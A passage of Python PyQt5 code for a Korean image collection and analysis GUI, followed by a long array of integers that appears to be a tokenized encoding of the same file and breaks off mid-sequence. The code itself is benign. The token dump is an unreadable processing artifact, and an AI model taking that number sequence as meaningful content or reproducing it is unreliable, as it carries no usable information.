self.label_[num].setPixmap(self.pixmap)
self.label_[num].setAlignment(Qt.AlignCenter)
# self.label_[num].setScaledContents(True) # 맞춤 사이즈
self.label_[num].setScaledContents(False) # 원본 사이즈
clickable(self.label_[num]).connect(self.pictureListClicked)
# 불량 (0부터 시작)
self.label_[2].setStyleSheet("border: 7px solid red;")
self.label_[4].setStyleSheet("border: 7px solid red;")
def pictureListClicked(self):
global DIR
global file_list
global file_sender
image_name = ''
for i, object_name in enumerate(file_sender):
if object_name == self.sender():
image_name = file_list[i]
if image_name != '':
self.pop_up = QLabel("")
self.pixmap = QPixmap(f"{DIR}/{image_name}")
self.pop_up.setPixmap(self.pixmap)
self.pop_up.setWindowTitle(image_name)
self.pop_up.show()
# self.ui.gridLayout_5.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn)
# self.label_[7].clear()
# self.label_[7].setHidden(True)
# # creating scroll label
# label = ScrollLabel(self)
# # setting tool tip
# label.setToolTip("It is tool tip")
########################################################################
## MENUS ==> DYNAMIC MENUS FUNCTIONS
########################################################################
def Button(self):
# GET BT CLICKED
btnWidget = self.sender()
# Raw Data
if btnWidget.objectName() == "btn_raw_data":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection)
UIFunctions.resetStyle(self, "btn_raw_data")
UIFunctions.labelPage(self, "이미지 수집")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Learning
if btnWidget.objectName() == "btn_learning":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_analysis)
UIFunctions.resetStyle(self, "btn_learning")
UIFunctions.labelPage(self, "이미지 분석")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Results
if btnWidget.objectName() == "btn_result":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_management)
UIFunctions.resetStyle(self, "btn_result")
UIFunctions.labelPage(self, "데이터 관리")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
# Settings
if btnWidget.objectName() == "btn_setting":
self.ui.stackedWidget.setCurrentWidget(self.ui.page_widgets)
UIFunctions.resetStyle(self, "btn_setting")
UIFunctions.labelPage(self, "Setting")
btnWidget.setStyleSheet(UIFunctions.selectMenu(btnWidget.styleSheet()))
## ==> END ##
########################################################################
## START ==> APP EVENTS
########################################################################
## EVENT ==> MOUSE DOUBLE CLICK
########################################################################
def eventFilter(self, watched, event):
if watched == self.le and event.type() == QtCore.QEvent.MouseButtonDblClick:
print("pos: ", event.pos())
## ==> END ##
## EVENT ==> MOUSE CLICK
########################################################################
def mousePressEvent(self, event):
self.dragPos = event.globalPos()
if event.buttons() == Qt.LeftButton:
print('Mouse click: LEFT CLICK')
if event.buttons() == Qt.RightButton:
print('Mouse click: RIGHT CLICK')
if event.buttons() == Qt.MidButton:
print('Mouse click: MIDDLE BUTTON')
## ==> END ##
## EVENT ==> KEY PRESSED
########################################################################
def keyPressEvent(self, event):
print('Key: ' + str(event.key()) + ' | Text Press: ' + str(event.text()))
## ==> END ##
## EVENT ==> RESIZE EVENT
########################################################################
def resizeEvent(self, event):
self.resizeFunction()
return super(MainWindow, self).resizeEvent(event)
def resizeFunction(self):
print('Height: ' + str(self.height()) + ' | Width: ' + str(self.width()))
## ==> END ##
########################################################################
## END ==> APP EVENTS
############################## ---/--/--- ##############################
if __name__ == "__main__":
app = QApplication(sys.argv)
QtGui.QFontDatabase.addApplicationFont('fonts/segoeui.ttf')
QtGui.QFontDatabase.addApplicationFont('fonts/segoeuib.ttf')
window = MainWindow()
sys.exit(app.exec_())
| [
1,
835,
13383,
13383,
13383,
13383,
7346,
4136,
29937,
13,
2277,
13,
2277,
6770,
29901,
529,
5813,
29958,
13,
2277,
13756,
17637,
14861,
2287,
22659,
29901,
14705,
12037,
261,
322,
10772,
23908,
29906,
13,
2277,
478,
29901,
29871,
29896,
29889,
29900,
29889,
29900,
13,
2277,
13,
2277,
910,
2060,
508,
367,
1304,
28472,
363,
599,
3913,
29892,
408,
1472,
408,
896,
7344,
278,
13,
2277,
18067,
6625,
1169,
871,
297,
278,
5132,
12078,
29892,
738,
2472,
297,
278,
7604,
13,
2277,
5067,
313,
29954,
3120,
29897,
508,
367,
9120,
1728,
738,
2411,
1414,
29889,
13,
2277,
13,
2277,
1670,
526,
27028,
373,
14705,
7794,
11259,
565,
366,
864,
304,
671,
596,
9316,
13,
2277,
7825,
5584,
29892,
306,
6907,
5183,
963,
373,
278,
6221,
4700,
29901,
13,
2277,
2045,
597,
1514,
29889,
17915,
29889,
601,
29914,
17915,
1454,
4691,
29914,
506,
11259,
29889,
1420,
13,
2277,
13,
13383,
13383,
13383,
13383,
13383,
13,
13,
5215,
10876,
29892,
2897,
13,
5215,
7481,
13,
3166,
10772,
23908,
29906,
1053,
14705,
9203,
29892,
14705,
28707,
29892,
14705,
8801,
29879,
13,
3166,
10772,
23908,
29906,
29889,
17303,
9203,
1053,
313,
10140,
284,
29892,
660,
9203,
4873,
29892,
660,
4854,
13579,
29892,
660,
2539,
29892,
660,
11384,
29892,
660,
19346,
2061,
29892,
660,
2061,
29892,
660,
5228,
29892,
660,
7364,
29892,
660,
3505,
29892,
660,
2481,
29892,
660,
5983,
29892,
14705,
29892,
660,
2624,
29897,
13,
3166,
10772,
23908,
29906,
29889,
17303,
28707,
1053,
313,
29984,
27680,
29892,
660,
3306,
29892,
660,
1168,
936,
25584,
993,
29892,
660,
19890,
29892,
660,
9824,
29892,
660,
9824,
9112,
29892,
660,
12492,
29892,
660,
2558,
20529,
29892,
660,
12697,
25584,
993,
29892,
660,
29925,
26456,
29892,
660,
29925,
475,
357,
29892,
660,
29925,
861,
1958,
29892,
660,
9908,
616,
25584,
993,
29897,
13,
3166,
10772,
23908,
29906,
29889,
17303,
8801,
29879,
1053,
334,
13,
5215,
1014,
5014,
13,
3166,
6505,
26169,
29889,
711,
643,
874,
1053,
4250,
2974,
13,
3166,
6505,
26169,
29889,
13604,
1053,
4522,
3460,
2624,
4598,
13,
5215,
12183,
13,
5215,
931,
13,
13,
3166,
349,
6227,
1053,
7084,
29892,
7084,
8537,
29892,
7084,
9824,
13,
13,
29937,
14839,
24080,
13,
3166,
623,
29918,
7576,
1053,
334,
13,
13,
1445,
29918,
1761,
353,
5159,
13,
1445,
29918,
15452,
353,
5159,
13,
9464,
353,
6629,
13,
21402,
29918,
5325,
353,
11117,
29896,
29918,
29896,
22099,
29896,
29918,
17020,
29900,
29889,
29873,
361,
10827,
13,
13,
1990,
6864,
29898,
3403,
3460,
2624,
4598,
1125,
13,
1678,
822,
373,
29918,
1545,
2164,
29898,
1311,
29892,
1741,
1125,
13,
4706,
10422,
353,
1741,
29889,
4351,
29918,
2084,
29961,
29896,
29906,
17531,
13,
4706,
1589,
948,
420,
353,
1741,
29889,
4351,
29918,
2084,
29961,
29896,
29900,
29962,
718,
29908,
29918,
17969,
3696,
29889,
4351,
29918,
2084,
29961,
29896,
29906,
29962,
13,
396,
539,
1596,
29898,
446,
948,
420,
29897,
13,
4706,
4784,
29918,
5325,
29961,
446,
948,
420,
13192,
9507,
13,
396,
539,
1596,
29898,
29888,
29915,
3696,
1134,
29901,
426,
3696,
29889,
3696,
29918,
1853,
29913,
29871,
2224,
584,
426,
3696,
29889,
4351,
29918,
2084,
29961,
29896,
29900,
29901,
12258,
1495,
13,
13,
13,
1990,
4241,
5907,
29898,
29984,
6330,
5907,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
660,
6330,
5907,
17255,
2344,
12035,
1311,
29897,
13,
4706,
1583,
29889,
1481,
353,
501,
29875,
29918,
6330,
5907,
580,
13,
4706,
1583,
29889,
1481,
29889,
14669,
29965,
29875,
29898,
1311,
29897,
13,
13,
4706,
444,
12089,
10192,
25230,
28962,
1254,
12665,
13,
4706,
1596,
877,
3924,
29901,
525,
718,
7481,
29889,
5205,
3101,
13,
4706,
1596,
877,
6594,
29901,
525,
718,
7481,
29889,
14096,
3101,
13,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
444,
6850,
8322,
448,
399,
1177,
3970,
29956,
15531,
29911,
3960,
29933,
2692,
2890,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
13,
4706,
444,
5195,
6720,
12064,
25230,
6850,
9468,
17011,
323,
1806,
1307,
350,
1718,
13,
4706,
3740,
6678,
29879,
29889,
5992,
7030,
4297,
29898,
5574,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
11368,
25230,
399,
1177,
3970,
29956,
323,
1806,
1307,
13,
4706,
1583,
29889,
842,
5907,
7030,
877,
29933,
1878,
262,
319,
29902,
1495,
13,
4706,
3740,
6678,
29879,
29889,
1643,
7030,
29898,
1311,
29892,
525,
29933,
1878,
262,
319,
29902,
1495,
13,
4706,
3740,
6678,
29879,
29889,
1643,
9868,
29898,
1311,
29892,
525,
2577,
278,
10650,
848,
29889,
1495,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
399,
1177,
3970,
29956,
22717,
10721,
25230,
22236,
22717,
10721,
13,
4706,
1369,
3505,
353,
660,
3505,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29955,
29906,
29900,
29897,
13,
4706,
1583,
29889,
21476,
29898,
2962,
3505,
29897,
13,
4706,
1583,
29889,
842,
8140,
12539,
3505,
29898,
2962,
3505,
29897,
13,
4706,
396,
3740,
6678,
29879,
29889,
12007,
7976,
12539,
3505,
29898,
1311,
29892,
29871,
29945,
29900,
29900,
29892,
29871,
29955,
29906,
29900,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
25230,
14602,
341,
1430,
3308,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
13,
4706,
444,
25230,
7495,
26788,
1307,
341,
1430,
29965,
22717,
10721,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
13270,
29918,
6510,
29889,
3808,
287,
29889,
6915,
29898,
2892,
29901,
3740,
6678,
29879,
29889,
13270,
6823,
29898,
1311,
29892,
29871,
29896,
29955,
29945,
29892,
5852,
876,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
25230,
27827,
315,
17321,
6488,
341,
1430,
3308,
13,
4706,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
8140,
12539,
6110,
29898,
29906,
29900,
29897,
13,
4706,
3740,
6678,
29879,
29889,
1202,
4373,
6823,
29898,
1311,
29892,
376,
30393,
31362,
30811,
29871,
30970,
239,
170,
148,
613,
376,
7290,
29918,
1610,
29918,
1272,
613,
376,
2271,
8137,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
27078,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
5553,
29899,
5258,
29899,
1202,
29889,
2732,
19123,
5852,
29897,
13,
4706,
3740,
6678,
29879,
29889,
1202,
4373,
6823,
29898,
1311,
29892,
376,
30393,
31362,
30811,
29871,
238,
185,
135,
239,
135,
160,
613,
376,
7290,
29918,
21891,
613,
376,
2271,
8137,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
27078,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
5553,
29899,
433,
16002,
29889,
2732,
19123,
5852,
29897,
13,
4706,
3740,
6678,
29879,
29889,
1202,
4373,
6823,
29898,
1311,
29892,
376,
238,
144,
179,
30393,
31856,
29871,
237,
183,
131,
30826,
613,
376,
7290,
29918,
2914,
613,
376,
2271,
8137,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
27078,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
5553,
29899,
2886,
29899,
262,
29899,
3488,
29889,
2732,
19123,
5852,
29897,
13,
4706,
3740,
6678,
29879,
29889,
1202,
4373,
6823,
29898,
1311,
29892,
376,
29020,
613,
376,
7290,
29918,
26740,
613,
376,
2271,
8137,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
27078,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
5553,
29899,
11027,
29889,
2732,
19123,
7700,
29897,
13,
4706,
396,
3740,
6678,
29879,
29889,
1202,
4373,
6823,
29898,
1311,
29892,
376,
7281,
27080,
29879,
613,
376,
7290,
29918,
8030,
29879,
613,
376,
2271,
8137,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
27078,
29914,
29896,
29953,
29916,
29896,
29953,
29914,
5553,
29899,
11745,
3950,
29889,
2732,
19123,
7700,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
396,
6850,
8322,
341,
1430,
29965,
1149,
5097,
2725,
13,
4706,
3740,
6678,
29879,
29889,
2622,
15449,
6823,
29898,
1311,
29892,
376,
7290,
29918,
1610,
29918,
1272,
1159,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
25230,
6850,
8322,
349,
10461,
13,
4706,
1583,
29889,
1481,
29889,
1429,
287,
8801,
29889,
842,
7583,
8801,
29898,
1311,
29889,
1481,
29889,
3488,
29918,
10855,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
3148,
1001,
306,
6007,
25230,
317,
8187,
29956,
379,
22027,
13,
4706,
3740,
6678,
29879,
29889,
1792,
12492,
29898,
1311,
29892,
376,
29923,
29999,
613,
12633,
5852,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
13,
4706,
444,
25230,
16999,
12064,
399,
1177,
3970,
29956,
847,
18134,
7833,
29902,
10721,
847,
16759,
29949,
1525,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
822,
4337,
5907,
29898,
3696,
1125,
13,
9651,
396,
10762,
18134,
7833,
26664,
3352,
5868,
24336,
7495,
405,
1955,
1529,
29931,
13,
9651,
565,
3740,
6678,
29879,
29889,
2267,
332,
5709,
580,
1275,
29871,
29896,
29901,
13,
18884,
3740,
6678,
29879,
29889,
27525,
675,
29918,
5060,
487,
29898,
1311,
29897,
13,
13,
9651,
396,
16999,
12064,
399,
1177,
3970,
29956,
13,
9651,
565,
1741,
29889,
4187,
7453,
580,
1275,
14705,
29889,
8091,
3125,
29901,
13,
18884,
1583,
29889,
11631,
29898,
1311,
29889,
1066,
580,
718,
1741,
29889,
10945,
9135,
580,
448,
1583,
29889,
20515,
9135,
29897,
13,
18884,
1583,
29889,
20515,
9135,
353,
1741,
29889,
10945,
9135,
580,
13,
18884,
1741,
29889,
16044,
580,
13,
13,
4706,
396,
399,
1367,
7194,
7495,
16999,
12064,
13,
4706,
1583,
29889,
1481,
29889,
2557,
29918,
1643,
29918,
3332,
29918,
3116,
1983,
29889,
15769,
16619,
2624,
353,
4337,
5907,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
444,
25230,
11247,
3035,
5012,
29943,
1177,
22122,
29903,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
3740,
6678,
29879,
29889,
1481,
3206,
262,
2187,
29898,
1311,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
444,
11056,
448,
399,
1177,
3970,
29956,
15531,
29911,
3960,
29933,
2692,
2890,
13,
4706,
835,
13383,
7346,
2277,
29937,
11474,
29914,
489,
29914,
5634,
835,
13383,
7346,
2277,
29937,
13,
13,
13,
13,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
396,
462,
462,
462,
462,
418,
396,
13,
4706,
444,
6850,
8322,
448,
9072,
29899,
399,
1367,
7194,
29903,
383,
28700,
29903,
29914,
16320,
25797,
4945,
29903,
448,
9072,
5634,
444,
13,
4706,
396,
462,
462,
462,
462,
418,
396,
13,
4706,
444,
25230,
3148,
1001,
4810,
2287,
29903,
20700,
2208,
9806,
462,
462,
795,
444,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
13,
13,
13,
4706,
444,
25230,
660,
3562,
8801,
390,
1718,
25797,
4945,
29903,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
1583,
29889,
1481,
29889,
2371,
8801,
29889,
22672,
7850,
2141,
842,
13438,
1666,
675,
6818,
29898,
17303,
8801,
29879,
29889,
29984,
7850,
1043,
29889,
855,
10301,
29897,
13,
4706,
444,
25230,
11056,
444,
13,
13,
13,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
396,
462,
462,
462,
462,
418,
396,
13,
4706,
444,
11056,
448,
9072,
489,
399,
1367,
7194,
29903,
383,
28700,
29903,
29914,
16320,
25797,
4945,
29903,
448,
2683,
444,
13,
4706,
396,
462,
462,
462,
462,
418,
396,
13,
4706,
835,
13383,
7346,
2277,
29937,
11474,
29914,
489,
29914,
5634,
835,
13383,
7346,
2277,
29937,
13,
13,
13,
4706,
444,
317,
8187,
29956,
25230,
14861,
1177,
399,
1177,
3970,
29956,
13,
4706,
835,
13383,
13383,
13383,
13383,
4136,
29937,
13,
4706,
1583,
29889,
4294,
580,
13,
4706,
444,
25230,
11056,
444,
13,
13,
13,
4706,
396,
29871,
30393,
31362,
30811,
29871,
30970,
239,
170,
148,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29896,
29889,
842,
5596,
519,
29898,
5574,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29896,
29889,
3808,
287,
29889,
6915,
29898,
1311,
29889,
13270,
29918,
7290,
29918,
11108,
29896,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29906,
29889,
842,
5596,
519,
29898,
5574,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29906,
29889,
3808,
287,
29889,
6915,
29898,
1311,
29889,
13270,
29918,
7290,
29918,
11108,
29906,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29941,
29889,
842,
5596,
519,
29898,
5574,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
11108,
29941,
29889,
3808,
287,
29889,
6915,
29898,
1311,
29889,
13270,
29918,
7290,
29918,
11108,
29941,
29897,
13,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
1688,
29889,
3808,
287,
29889,
6915,
29898,
1311,
29889,
7290,
29918,
1688,
29897,
13,
4706,
1583,
29889,
1481,
29889,
7290,
29918,
16192,
29889,
3808,
287,
29889,
6915,
29898,
1311,
29889,
7290,
29918,
16192,
29897,
13,
13,
4706,
396,
29871,
30393,
31362,
30811,
29871,
238,
185,
135,
239,
135,
160,
13,
4706,
1583,
29889,
1643,
29918,
353,
5159,
13,
4706,
1583,
29889,
1481,
29889,
510,
17801,
29918,
29906,
29889,
3784,
3220,
7590,
29889,
6915,
29898,
1311,
29889,
265,
26628,
29918,
29906,
29897,
13,
4706,
1583,
29889,
265,
26628,
29918,
29906,
29898,
29900,
29897,
418,
396,
29871,
239,
183,
139,
30827,
29871,
30827,
238,
182,
187,
29871,
239,
136,
142,
240,
143,
136,
29901,
29871,
29941,
239,
154,
183,
13,
13,
4706,
396,
29871,
238,
144,
179,
30393,
31856,
29871,
237,
183,
131,
30826,
13,
4706,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
703,
2951,
29889,
2732,
1159,
13,
4706,
1583,
29889,
1481,
29889,
726,
488,
29918,
3027,
29889,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
4706,
1583,
29889,
1481,
29889,
726,
488,
29918,
3027,
29889,
842,
4421,
7943,
21002,
29898,
5574,
29897,
13,
13,
4706,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
703,
6880,
29889,
2732,
1159,
13,
4706,
1583,
29889,
1481,
29889,
13168,
29918,
3027,
29889,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
4706,
1583,
29889,
1481,
29889,
13168,
29918,
3027,
29889,
842,
4421,
7943,
21002,
29898,
5574,
29897,
13,
13,
13,
1678,
396,
29871,
30393,
31362,
30811,
29871,
30970,
239,
170,
148,
13,
1678,
822,
20429,
29918,
7290,
29918,
11108,
29896,
29898,
1311,
29892,
2106,
1125,
13,
4706,
565,
2106,
1275,
5852,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29889,
2272,
2507,
265,
29871,
29900,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29896,
29901,
1551,
1159,
13,
4706,
1683,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29889,
2272,
2507,
2696,
29871,
29900,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29896,
29901,
5947,
1159,
13,
13,
1678,
822,
20429,
29918,
7290,
29918,
11108,
29906,
29898,
1311,
29892,
2106,
1125,
13,
4706,
565,
2106,
1275,
5852,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29889,
2272,
2507,
265,
29871,
29896,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29906,
29901,
1551,
1159,
13,
4706,
1683,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29889,
2272,
2507,
2696,
29871,
29896,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29906,
29901,
5947,
1159,
13,
13,
1678,
822,
20429,
29918,
7290,
29918,
11108,
29941,
29898,
1311,
29892,
2106,
1125,
13,
4706,
565,
2106,
1275,
5852,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29889,
2272,
2507,
265,
29871,
29906,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29941,
29901,
1551,
1159,
13,
4706,
1683,
29901,
13,
9651,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29889,
2272,
2507,
2696,
29871,
29906,
4321,
29871,
29896,
1159,
13,
9651,
1596,
703,
7290,
29918,
11108,
29941,
29901,
5947,
1159,
13,
13,
1678,
822,
4078,
29918,
7382,
29918,
3027,
29898,
1311,
29892,
10422,
1125,
13,
4706,
565,
29871,
7431,
29898,
21402,
29918,
5325,
29897,
529,
29871,
29953,
29901,
13,
9651,
736,
13,
29937,
4706,
931,
29889,
17059,
29898,
29900,
29897,
13,
4706,
6611,
353,
6024,
29896,
29918,
29896,
742,
525,
29896,
29918,
29906,
742,
525,
29906,
29918,
29896,
742,
525,
29906,
29918,
29906,
3788,
29941,
29918,
29896,
742,
525,
29941,
29918,
29906,
2033,
13,
4706,
885,
7310,
333,
353,
518,
29896,
29892,
29871,
29896,
29892,
29871,
29906,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29941,
29962,
13,
4706,
716,
29918,
3027,
353,
7084,
29889,
1482,
877,
28212,
742,
313,
29941,
29906,
29900,
29930,
29906,
29892,
29871,
29906,
29906,
29900,
29930,
29941,
876,
13,
4706,
285,
593,
353,
7084,
9824,
29889,
509,
14484,
668,
29898,
359,
29889,
2084,
29889,
7122,
877,
6904,
28586,
29914,
344,
1484,
29872,
1481,
29889,
698,
29888,
5477,
29871,
29896,
29945,
29897,
13,
4706,
363,
474,
297,
3464,
29898,
29900,
29892,
29871,
29953,
1125,
13,
9651,
1967,
353,
7084,
29889,
3150,
877,
6904,
4421,
7310,
19248,
6822,
8875,
4286,
4830,
29898,
1557,
7310,
333,
29961,
29875,
1402,
21402,
29918,
5325,
29961,
8149,
29961,
29875,
5262,
876,
13,
9651,
1967,
29918,
9278,
353,
1967,
29889,
21476,
3552,
29941,
29900,
29900,
29892,
29906,
29900,
29900,
876,
13,
9651,
270,
353,
7084,
8537,
29889,
8537,
29898,
3027,
29918,
9278,
29897,
13,
9651,
270,
29889,
726,
3552,
29896,
29900,
29892,
29871,
29896,
29900,
511,
22372,
6822,
8875,
4286,
4830,
29898,
8149,
29961,
29875,
1402,
4784,
29918,
5325,
29961,
8149,
29961,
29875,
5262,
511,
4079,
29922,
29888,
593,
29892,
5445,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
876,
13,
9651,
716,
29918,
3027,
29889,
16179,
29898,
3027,
29918,
9278,
29892,
5135,
29875,
29995,
29906,
11877,
29941,
29906,
29900,
718,
29871,
29896,
29900,
29892,
313,
1557,
7310,
333,
29961,
29875,
29962,
29899,
29896,
11877,
29906,
29906,
29900,
718,
29871,
29896,
29900,
876,
13,
13,
4706,
716,
29918,
3027,
29889,
7620,
29898,
9507,
29892,
376,
29967,
4162,
29954,
1159,
13,
13,
1678,
822,
9503,
29918,
1688,
29898,
1311,
1125,
13,
4706,
1596,
703,
7290,
29918,
1688,
29901,
15385,
1159,
13,
4706,
1889,
29900,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29918,
16593,
29889,
2272,
12812,
29871,
29896,
4321,
29871,
29896,
1159,
13,
4706,
1889,
29896,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29918,
16593,
29889,
2272,
12812,
29871,
29906,
4321,
29871,
29896,
1159,
13,
4706,
1889,
29906,
353,
1014,
5014,
29889,
29925,
3150,
703,
4691,
17229,
29918,
29906,
26065,
29918,
9910,
29918,
16593,
29889,
2272,
12812,
29871,
29941,
4321,
29871,
29896,
1159,
13,
13,
4706,
12183,
29889,
16121,
3991,
29898,
5563,
29922,
21027,
29889,
11690,
29892,
13,
462,
9651,
3402,
2433,
29995,
29898,
294,
312,
603,
29897,
29879,
448,
1273,
29898,
4906,
29897,
29879,
742,
13,
462,
9651,
2635,
23479,
2433,
29995,
29979,
19222,
29885,
19222,
29881,
1273,
29950,
16664,
29924,
16664,
29903,
1495,
13,
4706,
1741,
29918,
13789,
353,
6864,
580,
13,
4706,
22944,
353,
4250,
2974,
580,
13,
4706,
22944,
29889,
816,
11272,
29898,
3696,
29918,
13789,
29892,
19283,
4421,
7310,
742,
16732,
29922,
5574,
29897,
13,
4706,
22944,
29889,
2962,
580,
13,
4706,
2380,
353,
29871,
29900,
13,
4706,
1018,
29901,
13,
9651,
1550,
5852,
29901,
13,
18884,
931,
29889,
17059,
29898,
29896,
29897,
13,
18884,
21180,
353,
1889,
29896,
29889,
29886,
3028,
580,
13,
18884,
565,
21180,
1275,
6213,
29901,
13,
462,
1678,
1596,
703,
5596,
2767,
1159,
13,
396,
462,
259,
1583,
29889,
7620,
29918,
7382,
29918,
3027,
877,
6904,
15836,
479,
19248,
1836,
6173,
4286,
4830,
29898,
2248,
876,
13,
462,
1678,
2380,
353,
2380,
718,
29871,
29896,
13,
462,
1678,
1596,
29898,
21402,
29918,
5325,
29897,
13,
18884,
1683,
29901,
13,
462,
1678,
22944,
29889,
9847,
580,
13,
462,
1678,
2867,
13,
4706,
5174,
7670,
3377,
4074,
6685,
29901,
13,
9651,
22944,
29889,
9847,
580,
13,
13,
4706,
1583,
29889,
7620,
29918,
7382,
29918,
3027,
877,
1688,
29918,
16192,
29889,
6173,
1495,
13,
4706,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
877,
1688,
29918,
16192,
29889,
6173,
1495,
13,
4706,
1583,
29889,
1481,
29889,
1643,
29918,
16192,
29918,
3027,
29889,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
4706,
1583,
29889,
1481,
29889,
1643,
29918,
16192,
29918,
3027,
29889,
842,
4421,
7943,
21002,
29898,
5574,
29897,
13,
13,
1678,
822,
9503,
29918,
16192,
29898,
1311,
1125,
13,
4706,
1596,
703,
7290,
29918,
16192,
29901,
15385,
1159,
13,
4706,
1583,
29889,
29886,
861,
1958,
353,
660,
29925,
861,
1958,
703,
6880,
29889,
2732,
1159,
13,
4706,
1583,
29889,
1481,
29889,
1643,
29918,
16192,
29918,
3027,
29889,
842,
29925,
861,
1958,
29898,
1311,
29889,
29886,
861,
1958,
29897,
13,
4706,
1583,
29889,
1481,
29889,
1643,
29918,
16192,
29918,
3027,
29889,
842,
4421,
7943,
21002,
29898,
5574,
29897,
13,
13,
1678,
396,
29871,
30393,
31362,
30811,
29871,
238,
185,
135,
239,
135,
160,
13,
1678,
822,
373,
26628,
29918,
29906,
29898,
1311,
29892,
2380,
1125,
13,
4706,
396,
29871,
240,
146,
183,
238,
144,
151,
31054,
29871,
239,
161,
139,
31081,
29871,
240,
143,
143,
31153,
29871,
30826,
30784,
31177,
31517,
29871,
238,
185,
139,
238,
162,
175,
239,
155,
183,
13,
4706,
5534,
360,
8193,
13,
4706,
5534,
934,
29918,
1761,
13,
4706,
5534,
934,
29918,
15452,
13,
4706,
934,
29918,
15452,
29889,
8551,
580,
13,
13,
4706,
360,
8193,
353,
19283,
27078,
29914,
29906,
29946,
29916,
29906,
29946,
29915,
259,
396,
29871,
240,
143,
143,
31153,
29871,
239,
161,
139,
31081,
29871,
31378,
30906,
13,
4706,
934,
29918,
1761,
353,
518,
978,
363,
1024,
297,
2897,
29889,
1761,
3972,
29898,
9464,
29897,
565,
2897,
29889,
2084,
29889,
275,
1445,
29898,
359,
29889,
2084,
29889,
7122,
29898,
9464,
29892,
1024,
28166,
13,
4706,
396,
934,
29918,
1761,
353,
2897,
29889,
1761,
3972,
29898,
12083,
29918,
978,
29897,
13,
13,
4706,
396,
1933,
353,
